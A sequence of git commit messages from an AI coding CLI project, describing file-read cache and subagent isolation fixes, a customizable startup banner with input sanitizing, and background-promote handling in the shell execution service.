1. **Sticky-on-true narrowed to "no fingerprint drift"**.
   `fileReadCache.recordRead` previously kept `lastReadWasFull` /
   `lastReadCacheable` true across drifted recordings, which
   re-opened a `Read full @x → external write @y → Read partial
   @y → Edit` hole: the partial recordRead silently advanced the
   entry's mtime+size to Y while preserving the sticky `full=true`
   from X, so a follow-up Edit ran against bytes the model only
   saw the first 10 lines of. Now the sticky branch only fires
   when `(mtimeMs, sizeBytes)` matches the existing entry; on
   drift, both flags reset to exactly what this read produced.
   New regression test in `fileReadCache.test.ts` reproduces the
   reviewer's reported sequence.

2. **Subagent FileReadCache isolation now covers the
   inherits-model + same-approval-mode common case**. The
   own-property machinery from #3717 only triggers when an
   `Object.create(parent)` actually fires; both
   `agent.ts:990-993` (same-approval-mode) and
   `subagent-manager.ts:699-701` (inherits-model) had paths that
   returned the parent Config directly, so the subagent's
   `getFileReadCache()` resolved to the parent's instance — a
   parent Read could satisfy the subagent's Edit on a path the
   subagent's transcript never contained. Both sites now build
   a thin `Object.create(base)` override unconditionally; no
   method changes for the inherits / same-mode cases, but a
   distinct instance triggers the lazy-init in
   `Config.getFileReadCache()` so the subagent gets an isolated
   cache.

3. **Cache records the read pipeline's internal stat instead of
   a post-read re-stat**. `processSingleFileContent` now
   surfaces its internal stat via `result.stats`, and read-file
   uses that for `recordRead` instead of running its own stat
   after the read returns. Pre-fix, an external write between
   the pipeline call and the post-read stat let the cache record
   fingerprint Y for content the model received at X — a
   subsequent Edit would pass enforcement against bytes the
   model never legitimately saw. The internal-stat-to-read
   window is still a few microseconds wide; that residue is the
   same content-hash territory acknowledged in the Risk section.

Reported by tanzhenxin via re-review on PR #3774.

* docs(core): clarify partial subagent isolation per review #4234090906

tanzhenxin's third review correctly observed that the
`Object.create(parent)` wrappers in `agent.ts:createApprovalModeOverride`
and `subagent-manager.ts:maybeOverrideContentGenerator` only isolate
the FileReadCache for code that consults `Config.getFileReadCache()`
directly. Bound `EditTool` / `WriteFileTool` instances were registered
against the parent's tool registry at initialise time, so tool
invocations still resolve `this.config` to the parent and reach the
parent's cache. `InProcessBackend.createPerAgentConfig` already does
the right thing (`override.createToolRegistry()` +
`copyDiscoveredToolsFrom(base.getToolRegistry())`); bringing that to
these two spawn sites is the real fix.

Reviewer's verdict was COMMENT, not REQUEST_CHANGES — the gap
pre-dates this PR (it's a property of #3717's per-Config own-property
machinery) and pre-PR there was no enforcement on subagent mutations
at all, so the PR is strictly an improvement on every spawn path.
Documented the partial guarantee explicitly:

- Inline comments on both spawn sites note the bound-tool caveat
  and point at `InProcessBackend.createPerAgentConfig` as the model
  for the follow-up.
- PR description's subagent paragraph (English + Chinese mirror) now
  splits into "fully isolated" (`InProcessBackend.createPerAgentConfig`)
  and "partial isolation" (the two sites in this PR) so readers don't
  walk away with the wrong contract.

Filing the registry-rebuild work as a follow-up; not in this PR.
* fix(core): shrink file diff session records

Trim oversized file edit result displays before writing them to session JSONL while preserving live tool results and diff stats.

Also make resume, ACP replay, and export paths treat saved previews as incomplete so they do not reconstruct fake full diffs.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* refactor(cli): share truncated diff preview text

Use one helper for ACP replay and export fallback messages so truncated session preview wording cannot drift.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

---------

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* docs(design): add banner customization design (#3005)

Document the design for issue #3005 (customize CLI banner area). Covers
the banner region taxonomy and what is replaceable vs. locked, the three
proposed settings (`ui.hideBanner`, `ui.customBannerTitle`,
`ui.customAsciiArt`) and their resolution pipeline, the schema additions
and wiring touch points, five alternative shapes considered, and the
security / failure-handling guards. Mirrored EN + zh-CN under
`docs/design/customize-banner-area/`. No code changes in this commit;
implementation lands in a follow-up PR.

Generated with AI

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* feat(cli): customize banner area (logo, title, hide)

Adds three opt-in `ui.*` settings that let users replace brand chrome on
startup while keeping the operational lines (version, auth, model, path)
locked: `hideBanner`, `customBannerTitle`, `customAsciiArt` (string,
{path}, or {small,large}).

A new resolver in `packages/cli/src/ui/utils/customBanner.ts` walks the
loaded settings, normalizes each tier per scope (so {path} resolves
against the file that declared it), reads the file with O_NOFOLLOW and a
64 KB cap on POSIX, sanitizes via a banner-specific stripper that drops
OSC/CSI/SS2/SS3 sequences while preserving newlines, and caps art at 200
lines × 200 cols and titles at 80 chars. Every soft failure logs a
`[BANNER]` warn and falls through to the bundled QWEN logo or default
brand title — banner config can never crash the CLI.

`<Header />` now picks the widest custom tier that fits via a shared
`pickAsciiArtTier` helper and falls back to `shortAsciiLogo` otherwise;
`<AppHeader />` extends the existing `showBanner` gate to honor
`hideBanner` alongside the screen-reader fallback.

Tracks #3005 and the design merged in #3671.

* docs(design): apply prettier to banner customization design

Reformats the EN and zh-CN design docs in
`docs/design/customize-banner-area/` to satisfy `npx prettier --check`:
table column alignment and trailing commas in `jsonc` examples. No
content changes — the words, tables, and code blocks all say the same
thing as before.

Carries forward the only actionable feedback from the now-closed
docs-only PR #3671, where the prettier check was the sole change
requested.

* fix(cli): address banner audit findings

Three audit-driven fixes for the banner customization feature:

1. **VSCode JSON schema accepts every documented shape.** The
   `ui.customAsciiArt` entry in
   `packages/vscode-ide-companion/schemas/settings.schema.json` was
   declared as `type: object`, which made VSCode flag the inline-string
   form (`"customAsciiArt": "  ___"`) — a shape the runtime accepts and
   the design doc recommends — as a schema violation. Replaced with a
   `oneOf` covering string, `{path}`, and `{small,large}` (with each
   tier itself string-or-`{path}`).

2. **Narrow terminals no longer leak the QWEN logo over a white-label
   deployment.** When a user supplied custom ASCII art but neither tier
   fit the terminal, `Header.tsx` previously fell back to the bundled
   `shortAsciiLogo` — silently undoing the white-label intent on small
   windows. The fallback now distinguishes "user supplied custom art"
   from "no custom art at all": in the first case the logo column is
   hidden entirely (info panel still renders); in the second case the
   default logo shows as before. Soft-failure paths (missing file,
   sanitization rejection) still fall through to `shortAsciiLogo`.

3. **Sanitizer strips C1 control bytes (0x80-0x9F).** The art and title
   strippers previously stopped at 0x7F, leaving single-byte CSI
   (`0x9B`), DCS (`0x90`), ST (`0x9C`) and other C1 controls intact —
   which legacy 8-bit terminals would still interpret. Aligned the
   ranges with the repo's existing `stripUnsafeCharacters` (in
   `textUtils.ts`) so banner content can't carry interpreted control
   bytes through.

New tests cover: C1 strip in art and title, absolute path reads,
symlink rejection on POSIX, narrow-terminal hide-on-custom-art, and
end-to-end `<AppHeader />` rendering through `resolveCustomBanner`.
The full banner suite is 48 tests (was 42).

* docs(design): clarify cross-scope tier merge and white-label fallback

Two clarifications surfaced by the audit on the implementation PR:

1. The design said `customAsciiArt` follows standard merge precedence,
   but the resolver actually walks scopes per-tier so workspace can
   override only `large` while user keeps `small`. Document that this
   per-tier walk is intentional — both because each `{path}` has to
   resolve against the file that declared it (the merged view loses
   that information) and because it lets users keep a personal default
   tier and override the other one per-workspace.

2. The render-time tier-selection step now distinguishes "user
   supplied custom art but neither tier fits" (hide the logo column
   entirely; falling back to `shortAsciiLogo` would silently undo a
   white-label deployment on narrow terminals) from "user supplied no
   custom art at all" (fall through to `shortAsciiLogo` and let the
   default-logo width gate decide). Step 5's pure soft-failure
   fallback (missing file, sanitization rejection) is unchanged —
   still `shortAsciiLogo`.

Mirrored both edits in the zh-CN translation.

Generated with AI

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* docs(design): add size budget section to banner customization

Question raised on the implementation PR: "why is the test logo `CCA`
instead of the full `Custom Code Agent` — is there a character limit?"

There is no character-count limit on titles or art. There is a
**width budget** driven by terminal columns, plus an absolute
hard cap (200×200 art, 80-char title) to keep malformed input from
freezing layout. The existing user-facing guide didn't quantify the
budget anywhere, so users were guessing why long inline names didn't
render.

Add a "How wide can the logo be? — the size budget" subsection that
spells out the formula
(`availableLogoWidth = terminalCols − 4 − 2 − 44`), tabulates it at
80 / 100 / 120 / 200 cols, calls out that a 17-char brand like
"Custom Code Agent" can't render as a single ANSI Shadow line on most
terminals (~120 cols of art), and shows the stacked-words
`{ small, large }` recipe — including the `figlet` one-liner that
generates the corresponding `banner-large.txt`.

Mirrored in the zh-CN translation.

Generated with AI

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* docs(design): add limits-at-a-glance table; switch demo to Custom Agent

The banner-customization design now has the size budget written down,
but the per-cap limits (80-char title, 200×200 art, 64 KB file) were
buried inside the size-budget formula table. Surface them as their own
"Limits at a glance" subsection at the top of the user-configuration
guide so users see the hard caps before they start hand-crafting art.

Also switch the running example from "Custom Code Agent" (17 chars,
~120 cols of ANSI Shadow art on one line — too wide for any common
terminal) to "Custom Agent" (12 chars, two-word stack at ~54 cols ×
12 lines, fits any terminal ≥ 104 cols). The figlet recipe is now a
two-word pipeline so a copy-paste run produces art the size the doc
claims.

Mirrored both changes in the zh-CN translation. The implementation
itself is unchanged.

Generated with AI

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): address PR review + CI Lint failure

Two reviewer findings on PR #3710 (and the Lint job that fails for the
same root cause):

1. **Schema regen now reproduces the committed JSON Schema.** The CI
   Lint step runs `npm run generate:settings-schema` and fails when
   the worktree dirties — my earlier hand-authored `oneOf` got blown
   away because `customAsciiArt` is `type: 'object'` in the source
   schema and the generator had no way to emit a union.

   Add a `jsonSchemaOverride` escape-hatch field on `SettingDefinition`:
   when set, the generator emits the override verbatim (description
   carried forward) instead of the type-driven shape. Set it on
   `customAsciiArt` to express the runtime union (string | {path} |
   {small,large} where each tier is itself string-or-{path}). The
   committed schema is now regenerated from source and CI's
   regenerate-and-diff check passes; two back-to-back regens produce
   identical output.

2. **Untrusted workspace settings no longer influence the banner.**
   `collectScopedTiers()` walked `settings.workspace` directly because
   per-scope file paths are needed to resolve relative `{path}`
   entries — but that bypassed the trust gate that
   `settings.merged` enforces. An untrusted checkout could therefore
   render its own ASCII art and trigger local file reads through a
   `{path}` entry before the user trusts the folder. Skip
   `settings.workspace` entirely when `settings.isTrusted` is false.
   Two regression tests cover the gate (untrusted = workspace
   silenced, falls through to user; trusted = workspace honored).

Test suite for the banner is now 30 resolver tests + the existing
Header / AppHeader / settingsSchema tests = 66 total, all green.

* feat(cli): add ui.customBannerSubtitle for the spacer row

Adds a fourth opt-in setting to the banner customization surface.
The info panel renders four rows (title, subtitle/spacer, status,
path); the second row was a hard-coded single-space spacer up to
now. With this change a fork or white-label deployment can set
`ui.customBannerSubtitle` to a one-line subtitle (e.g. "Built-in
DataWorks Official Skills") and have it render in the secondary
text color in place of the spacer. Empty/unset preserves the
previous blank-spacer layout, so the change is back-compat.

The subtitle is sanitized through the same
`sanitizeSingleLine` helper as the title (now factored out): OSC /
CSI / SS2 / SS3 leaders dropped, every other C0/C1 control byte
replaced with a space, internal whitespace collapsed, ends
trimmed. Capped at 160 characters — looser than the title's 80
because tagline / "powered by" copy commonly runs longer — with
the same `[BANNER]` warn on truncation.

Wiring:

- `settingsSchema.ts` — new `customBannerSubtitle` entry next to
  `customBannerTitle`, `showInDialog: false` (free-form text in
  the TUI dialog isn't worth its own picker).
- `customBanner.ts` — `ResolvedBanner.subtitle` field;
  `resolveCustomBanner` populates it; `sanitizeTitle` and the new
  `sanitizeSubtitle` share the same helper.
- `Header.tsx` — when `customBannerSubtitle` is truthy the spacer
  row renders the string (secondary color, single line) instead
  of `<Text> </Text>`. Auth/model and path still sit at their
  usual positions.
- `AppHeader.tsx` — pipes `resolvedBanner.subtitle` through.
- VSCode JSON schema regenerated from source (idempotent).

Tests: 5 new resolver tests (default, sanitize, length cap,
empty, newline + C1 strip), 2 new Header tests (renders subtitle
between title and auth; spacer preserved when unset), 1 new
AppHeader integration test (end-to-end through resolver). Banner
suite is now 35 + 17 + 6 + 16 = 74 tests, all green.

Design docs (EN + zh-CN) updated: region taxonomy now lists four
B-rows; "Limits at a glance" table grows a subtitle row;
"Customization rules" matrix and "How to modify" section gain a
"Add a brand subtitle" example with a rendered four-row preview.

* docs(design): sweep stale 3-setting references after subtitle add

Self-review found several sections of the banner customization design
doc still framed for the original three settings; bring them in line
with the four-setting reality landed in c7aa4a4:

- Region taxonomy ASCII diagram now shows four B-rows
  (① title, ② subtitle, ③ status, ④ path).
- Resolution-pipeline ASCII diagram and step list pick up
  customBannerSubtitle on the input side and the title/subtitle
  sanitize step on the resolver side.
- "Settings schema additions" section lists the fourth entry,
  customBannerSubtitle, and notes the customAsciiArt
  jsonSchemaOverride that landed for VS Code schema reproducibility.
- "Wiring changes" section updates the Header prop list and the
  HeaderProps interface, replaces the brittle line-number anchors
  with file-level anchors, drops the obsolete `paths` second arg
  from resolveCustomBanner, and adds the trust-gate sentence.
- "Security & failure handling" table replaces the
  stripTerminalControlSequences shorthand with the actual
  banner-specific stripper, splits the title/subtitle row to cover
  both, and adds the untrusted-workspace gate as its own row.
- "Verification plan" gains two scenarios: the subtitle row, and
  the untrusted-workspace check that the Critical reviewer comment
  on the impl PR explicitly asked us to lock down.

Mirrored every edit in the zh-CN translation. The implementation
itself is unchanged.

Generated with AI

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(cli): address banner re-review (FIFO, mutex schema, display width, regex dedupe)

Addresses the five findings on PR #3710 from the latest re-review:

1. **[Critical] FIFO/pipe at `customAsciiArt.path` no longer hangs
   startup.** The resolver was calling `openSync(path, O_NOFOLLOW)`
   *before* the `fstatSync(...).isFile()` check; on POSIX, opening a
   FIFO read-only blocks until a writer connects, and `O_NOFOLLOW`
   doesn't help — it only refuses symlinks at the final path
   component. `readArtFile` now `lstatSync()`s first and refuses
   non-regular files (FIFO / socket / device / symlink) before the
   open, while keeping the post-open `fstatSync` check for TOCTOU
   safety against a swap between the lstat and the open. New
   POSIX-only regression test `mkfifo`s a named pipe and asserts the
   resolver soft-fails inside 1 s; if the open ever regresses to
   blocking, the test will hang past the timeout and the assertion
   will catch it.

2. **[Suggestion] `{path}` and `{small,large}` are now mutually
   exclusive in both schema and runtime.** The `jsonSchemaOverride`
   on `ui.customAsciiArt` is split into three branches (string,
   `{path}`, `{small?, large?}`); none of them allow `path` and tier
   keys to co-exist. `normalizeTiers()` mirrors that — an object
   carrying both kinds of keys is now soft-rejected with a `[BANNER]`
   warn rather than letting `path` silently win and dropping the
   tier values. New regression test pins the runtime side.

3. **[Suggestion] Column cap and tier-fit selection now measure in
   terminal cells.** `getAsciiArtWidth` (in `textUtils.ts`) and the
   `MAX_ART_COLS` cap in `customBanner.ts` were both using UTF-16
   `.length`, so 200 CJK fullwidth characters would slip the cap and
   render at ~400 cells, and `pickAsciiArtTier`'s width-fit check
   was wrong for any non-ASCII art. Switched both to
   `getCachedStringWidth` (string-width semantics, already in the
   repo); art truncation walks code points until adding another
   would push the cell width past the cap, so we never split a
   fullwidth code point or surrogate pair down the middle. New
   regression test exercises the CJK fullwidth case.

4. **[Suggestion] `collectScopedTiers()` no longer drops a whole
   scope just because it has no `file.path`.** Inline-string tiers
   don't need an owning settings directory; only `{path}` tiers do.
   The path-presence check was moved into the `{path}` branch, so a
   path-less scope (e.g. `systemDefaults`, future SDK-injected
   scopes) can still contribute inline art. `{path}` entries in such
   a scope soft-fail with a tier-specific `[BANNER]` warn rather
   than killing the whole scope. Two regression tests cover both
   sides.

5. **[Suggestion] OSC / CSI / SS2-3 regex are now authored once.**
   Extracted `TERMINAL_OSC_REGEX`, `TERMINAL_CSI_REGEX`,
   `TERMINAL_SHIFT_DCS_REGEX` from `stripTerminalControlSequences`
   in `@qwen-code/qwen-code-core` and re-export them from the
   package index. `customBanner.ts` reuses the constants for
   `sanitizeArt` (which still has to preserve `\n` / `\t`) and
   delegates the title/subtitle pipeline directly to
   `stripTerminalControlSequences`. Also backported the C1 control
   strip (0x80-0x9F) into the core helper so all callers
   (session-title, etc.) benefit from the same coverage; banner
   sanitizer was the only place catching single-byte CSI / DCS / ST.

Banner suite is now 40 + 17 + 6 + 16 = 79 tests, all green. Schema
regen is still byte-for-byte idempotent. `npm run typecheck` and
prettier clean on touched files.

* fix(cli): replace require() with ES6 import in FIFO test (lint)

The FIFO regression test in 7ccbfae used a synchronous `require()` to
pull in `node:child_process` so the test could lazy-load `execFileSync`
only when needed. CI Lint flagged it under `no-restricted-syntax` —
the repo enforces ES6 imports throughout, including in tests, with no
exception for `require()`.

Move the import to the top of the file alongside the other `node:` /
vitest imports. The `try/catch` around `execFileSync('mkfifo', ...)`
still gates the test on `mkfifo` being available (rare on a fresh
container, so we skip rather than fail). 40 / 40 tests still pass and
ESLint is clean on the touched file.

---------

Co-authored-by: 秦奇 <gary.gq@alibaba-inc.com>
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
…3831 PR-1 of 3) (#3842)

* feat(core): add signal.reason convention for ShellExecutionService.execute()

Foundation for #3831 Phase D (b) — Ctrl+B promote of a running foreground
shell to background. Defines a discriminated `ShellAbortReason` union that
the AbortSignal carries; default behavior (no reason / `{ kind: 'cancel' }`)
keeps the existing tree-kill on abort. `{ kind: 'background' }` is a takeover
signal — execute() skips the kill, drops the child from its active set (so
cleanup() won't kill it later), flushes a snapshot of captured output, and
resolves the result Promise immediately with `promoted: true` so the
awaiting caller unblocks.

Pure plumbing: no caller sets the reason yet, so this is a zero-behavior
change for existing call sites. The `promoted?: boolean` field is optional
on ShellExecutionResult so existing consumers compile against the new shape
without source changes.

Tests pin both branches in both childProcessFallback and executeWithPty:
default abort still SIGTERM-tree-kills; `{ kind: 'cancel' }` is identical to
default (pin against accidental routing through the background branch);
`{ kind: 'background' }` skips the kill, snapshot output is preserved,
mockProcessKill / mockPtyProcess.kill are NOT called.

Part of #3831 (Phase D part b — Ctrl+B promote running shell to background).
PR-1 of 3.

* fix(core): detach service listeners on background-promote (resolve review)

Addresses 4 Critical + 2 Suggestion findings on PR-1 of #3831:

- **childProcess listener detach** (review line 555 + 573): Anonymous arrow
  listeners on stdout/stderr/error/exit could not be off()'d. After
  background-promote, post-promote bytes would re-enter handleOutput, which
  then calls decoder.decode() on a now-finalized text decoder (cleanup()
  already called .decode() without stream:true) → TypeError crash. Even
  without the crash, old onOutputEvent would fire for new data → ownership
  contract violation + duplication. Fix: extract named handler refs
  (stdoutHandler / stderrHandler / errorHandler / exitHandler) and call
  off() on all four in the background-promote branch via a
  detachServiceListeners() helper.

- **PTY listener detach** (review line 967 + 990): node-pty's onData / onExit
  return IDisposable handles; the abort handler now captures
  dataDisposable / exitDisposable and calls .dispose() in the
  background-promote branch. ptyProcess.on('error') is EventEmitter-style
  (not IDisposable) — extract a named ptyErrorHandler ref and off() it.
  Without these, post-promote PTY error throws → Node.js crash; post-promote
  data continues writing to headlessTerminal and calling old onOutputEvent
  → ownership violation.

- **PTY in-flight chain item ownership** (related to review line 990):
  processingChain may have already-enqueued callbacks past the early
  listenersDetached check. Refactored from "early-return short-circuit" to
  "guard each onOutputEvent emit individually" so in-flight writes still
  LAND in headlessTerminal (snapshot reflects them) but no events leak to
  the foreground onOutputEvent. Also clear renderTimeout in the abort
  handler so a pending throttled render doesn't fire post-promote.

- **PTY snapshot freshness** (review line 972, suggestion): The original
  abort handler called serializeTerminalToText immediately. Now we
  await Promise.race([processingChain drain, SIGKILL_TIMEOUT_MS]) first
  (mirrors the onExit finalize pattern at ~line 970) so in-flight
  headlessTerminal.write callbacks land before serialization. Skipped
  render(true) intentionally because it would emit final onOutputEvent
  data (renderFn calls onOutputEvent), violating the "no emit post-promote"
  invariant — added a comment explaining why direct serialize is correct.

- **Handoff-boundary tests** (review line 1257, suggestion): Added 4 new
  tests pinning the ownership contract — 2 for child_process (post-promote
  stdout/stderr does NOT route to onOutputEvent; child exit does NOT
  re-resolve result), 2 for PTY (data/exit disposables ARE called; result
  shape stays promoted: true even if post-promote events fire).

Also: test setup now stubs mockPtyProcess.onData / .onExit to return
{ dispose: vi.fn() } so the background-promote path's dispose() calls
don't crash on undefined (the stub's mock.results[0].value is then
inspected by the new handoff tests).

58 / 58 tests pass (50 baseline + 4 first-pass + 4 handoff). Total +235 / -35
on top of the prior commit.

* fix(core): defensive hardening for ShellExecutionService background-promote (resolve 2nd review pass)

Addresses 6 follow-up [Suggestion] threads on PR-1 of #3831 — all
substantive code-quality issues raised by the second-pass review of
the dispose-based detach commit (8e8e18c):

- **Exhaustive switch on `ShellAbortReason.kind`** (both abort handlers).
  Earlier `if (reason?.kind === 'background')` form silently fell
  through to kill for any unrecognized variant — a future
  `{ kind: 'suspend' }` would have killed the process with zero
  compile-time signal. Switched to `switch (kind)` with a `never`-typed
  default that runs `debugLogger.warn` and falls back to the safest
  behavior (cancel/kill). Each branch is now extracted into a named
  helper (`performBackgroundPromote` / `performCancelKill`) so the
  switch body stays a single screenful.

- **Each `dispose()` wrapped in its own try/catch** (PTY). node-pty's
  `IDisposable` contract doesn't guarantee no-throw. Without per-dispose
  try/catch a single throwing dispose() would skip subsequent cleanup
  (the other dispose, off('error'), activePtys.delete, drain, resolve)
  and the caller would hang forever on `await result`. Each call now
  logs via debugLogger.warn on failure but continues.

- **`.catch(() => undefined)` on the processingChain side of the drain
  race** (PTY). `Promise.race([processingChain.then(drain).then(drain),
  timeout])` would propagate a chain rejection out of the race; since
  `addEventListener` doesn't await our handler, the rejection became
  unhandled and `resolve()` was never called → caller hung. Now the
  rejection is swallowed; the timeout side still terminates the race
  on time.

- **Drain-timeout truncation now emits a diagnostic warning** (PTY).
  Previously the 200ms drain timeout could fire, the snapshot would be
  taken with the buffer in mid-write state, and the result.output
  would be silently truncated. Race result is now observed via a
  symbol sentinel; when the timeout side wins, debugLogger.warn fires
  pointing the user at rawOutput as the un-truncated fallback.

- **Snapshot serialize failure logs instead of swallowing silently**
  (PTY). Empty `catch {}` made result.output indistinguishable from
  "command produced no output" if serializeTerminalToText threw. Now
  `debugLogger.warn` with the error message leaves a trail for support
  bundles.

- **Dedicated `PROMOTE_DRAIN_TIMEOUT_MS` constant** separated from
  `SIGKILL_TIMEOUT_MS`. Both are 200ms today, but they have unrelated
  reasons-to-change (kill escalation timing vs. promote drain
  ceiling) — sharing the constant means tuning one would silently
  change the other.

Also adds a module-level `debugLogger = createDebugLogger('SHELL_EXECUTION')`
since the service had no logging surface before this commit.

58 / 58 tests pass; tsc clean; ESLint clean. No new tests added: the new
behaviors (timeout sentinel firing, dispose throw, exhaustive switch
default) are defensive log-only paths; existing handoff tests already
cover the happy path. Adding mock-throw tests is reasonable
follow-up but not blocking.

* fix(core): real bug — ptyProcess.off → removeListener; defensive abort-reason read

Resolves the third review pass on PR-1 of #3831 — 1 real bug + 2
defensive hardenings:

- **Real bug: `ptyProcess.off('error', ...)` throws TypeError at
  runtime** (line ~1074). `@lydell/node-pty`'s `IPty` interface
  exposes the legacy Node EventEmitter `removeListener`, not the
  modern `off` alias. Previous form threw, the surrounding try/catch
  swallowed it (post-prior-pass dispose hardening), but the old
  `ptyErrorHandler` stayed registered — so a post-promote PTY error
  would still hit our foreground handler and `throw err`, breaking
  the handoff contract that PR-1's whole listener-detach work is
  supposed to enforce. Switched to `removeListener`. The catch +
  warn stays as defense-in-depth; the message wording is updated.

- **Prototype-pollution-safe `kind` read** (extracted to module-level
  helper `getShellAbortReasonKind`). The previous `reason?.kind`
  walked the prototype chain — a polluted
  `Object.prototype.kind = 'background'` would silently route
  `abortController.abort({})` (any plain object reason) into the
  promote branch and skip the kill. Lifecycle/safety branch deserves
  the extra check. Helper now: rejects non-object reasons; reads
  `kind` only as an OWN property (`hasOwnProperty`); whitelists
  against `'background' | 'cancel'`; defaults to `'cancel'` (the
  safe historical behavior) for everything else. Both abort handlers
  (childProcess + PTY) now share this helper.

- **`streamStdout: true` + background-promote = silent empty
  snapshot** (childProcess `performBackgroundPromote`). The promote
  snapshot reads from the `stdout` / `stderr` string accumulators;
  but in `streamStdout` mode `handleOutput` forwards bytes through
  `onOutputEvent` and skips the accumulators entirely. Today PR-1's
  only call site (foreground shell.ts) uses `streamStdout: false`,
  so the combination is unreachable — but if a future caller pairs
  the two, `result.output` would be empty with no diagnostic. Added a
  `debugLogger.warn` when the combination occurs, pointing the caller
  at `rawOutput` as the fallback. Cheaper than building a parallel
  accumulator just for this latent case.

58 / 58 tests pass; tsc clean; ESLint clean.

* fix(core): liveness check + throw-safe abort-reason read + encoding-aware PTY snapshot (resolve 4th review pass)

Resolves 6 threads on PR-1 of #3831 — 1 Critical + 1 real bug + 2
quality + 2 test-coverage:

- **[Critical] `getShellAbortReasonKind` throw-safe property read.**
  Previous form read `reason.kind` after only checking that `kind` is
  an own property. An own accessor that throws (or a Proxy with a
  trapping getter) would throw before the helper reached either the
  cancel kill path or the background promote path. Abort handlers are
  dispatched async and not awaited by AbortSignal, so a leaked throw
  here would have left the shell process alive instead of being killed
  on cancel — quietly. Wrapped the property read in try/catch with a
  fall-back to the safe 'cancel' kill behavior.

- **Real bug: child_process post-exit race in background-promote**
  (`performBackgroundPromote`). The child may have already exited but
  the 'exit' event hasn't reached our handler yet (Node delivers
  events on the next microtask). Promoting in that window would
  detach our exit listener and report `promoted: true` for a process
  that's already dead — the caller would hold an inert pid expecting
  to take over. Now we read `child.exitCode` / `child.signalCode`
  before detaching: if either is non-null, fall through and let the
  pending exit handler resolve normally with the real exit info.
  Mirrored mock setup so `exitCode` / `signalCode` default to `null`
  (matching real ChildProcess) instead of `undefined`.

- **PTY snapshot: re-decode + replay (mirror exit-path encoding).**
  The promoted snapshot was serializing `headlessTerminal` directly,
  which was fed by a streaming decoder initialized from the
  first-chunk encoding heuristic. When early output is ASCII-only but
  later output is in a different encoding (GBK / Shift-JIS / etc.),
  this produces mojibake — and the normal exit path doesn't, because
  it re-decodes `finalBuffer` with `getCachedEncodingForBuffer` and
  replays through a fresh terminal. Now mirrors that logic so
  `result.output` shape matches across the two paths. Direct-serialize
  remains as a last-ditch fallback if replay throws.

- **Switch `default` no longer emits a runtime warn.** Reviewer noted
  the helper's whitelist made the `default: { _exhaustive: never }`
  branch unreachable at runtime — the `debugLogger.warn` in it could
  never fire. Kept the `_: never = kind` type assertion (so a future
  ShellAbortReason variant forces a TS error here, directing the
  developer to extend BOTH the helper's whitelist AND add a `case`),
  removed the unreachable warn. Added a comment that the assertion is
  the static-only safety net the union expansion would trigger.

- **Direct unit tests for `getShellAbortReasonKind`** (8 cases). The
  helper's prototype-pollution defense is the main reason it exists;
  if `hasOwnProperty` is accidentally removed the regression would
  silently send `abortController.abort({})` (any plain reason) into
  the promote path. Exported the helper and added direct tests for:
  null / undefined, non-object, empty object (no own kind), prototype-
  only kind (pollution), unknown kind value, throwing accessor, Proxy
  trap, and the two happy paths.

- **`removeListener` regression guard.** The fix to call
  `ptyProcess.removeListener('error', ...)` instead of `.off(...)`
  matters because `@lydell/node-pty`'s IPty interface only exposes
  `removeListener` — `.off()` throws TypeError on a real PTY but the
  EventEmitter mock tolerates both. Added a test that spies on both
  methods and asserts the production code uses `removeListener` for
  the 'error' event, so a future swap back to `.off()` regresses
  loudly under the mock instead of silently.

68 / 68 tests pass (58 baseline + 9 helper boundary + 1 removeListener
guard + 1 post-exit race); tsc clean; ESLint clean.

* fix(core): PTY background-promote post-exit race guard (resolve 5th review pass)

Mirrors the child_process post-exit race fix from 4cc558b into the
PTY path — addresses 1 [Critical] thread on PR-1 of #3831:

The PTY may have already exited but our `exitDisposable` (onExit
callback) hasn't run yet — node-pty delivers the exit event
asynchronously after the PTY's native SIGCHLD, so there's a window
between "PTY actually dead" and "service onExit fires". Promoting in
that window detaches our exit listener and reports `promoted: true`
for a dead PTY, losing the real exit status; the caller would hold an
inert pid expecting to take over.

The IPty interface doesn't expose an `exitCode` field we can read
directly (unlike `child.exitCode` / `child.signalCode` for
child_process), so use `process.kill(pid, 0)` as a best-effort
liveness check via the existing `ShellExecutionService.isPtyActive`
helper. If kill(pid, 0) throws ESRCH, the pid is gone — log at debug
level and fall through, letting the pending onExit callback resolve
normally with the real exit info.

Also adds a unit test mirroring the child_process race test: mocks
`process.kill(pid, 0)` to throw ESRCH on the liveness probe, asserts
the result has no `promoted: true` and reports the real exitCode.

69 / 69 tests pass; tsc clean; ESLint clean.

* docs(core): correct getShellAbortReasonKind boundary-test count in JSDoc

Doc said 'all six edge cases' but the test suite has 8 cases (added
Proxy-trap and undefined later). Off-by-2 cosmetic only — no behavior
change. Caught during a multi-round self-audit of PR-1 of #3831.

Audit summary: 7 rounds (correctness / reverse / consistency / coverage
/ build / exception paths / style) found one false-positive (a sync-
abort registration-order race I initially thought existed). Verified
that Node's WHATWG AbortSignal does NOT auto-fire 'abort' listeners
on already-aborted signals, so the race window cannot open. No code
change needed for that scenario; this commit is just the JSDoc fix.

69 / 69 tests still pass; tsc + ESLint clean.

* docs(core): document the helper / union / switch sync invariant explicitly

Multi-round self-audit found that `getShellAbortReasonKind`'s value
whitelist has no compile-time tie to the `ShellAbortReason` union: when
the union grows, TypeScript's `_exhaustive: never` in each switch
forces #3 (the case arm) to be added, but the helper's whitelist
(#2) silently keeps degrading the new variant to 'cancel', and the
new case arm is never reached at runtime.

Reviewer #4 raised this on the second pass; the original commit chose
to accept it (option B in that thread) but didn't leave a strong
in-code signal for future contributors. Added an INVARIANT block
inside the helper enumerating the three sites that must be kept in
sync, so the next person extending `ShellAbortReason` sees the
coupling at the place where they're most likely to forget it.

No behavior change — comment-only. 69 / 69 tests still pass; tsc +
ESLint clean.

Audit summary (this round + prior round): 18 angles total over two
sweeps and one reverse-attack pass. Found:
  - 0 real bugs
  - 1 false-positive race (sync-abort registration order — Node WHATWG
    AbortSignal does NOT auto-fire on already-aborted signals;
    investigated, reverted)
  - 1 cosmetic doc fix (boundary-test count off-by-2)
  - 1 cosmetic INVARIANT block (this commit)

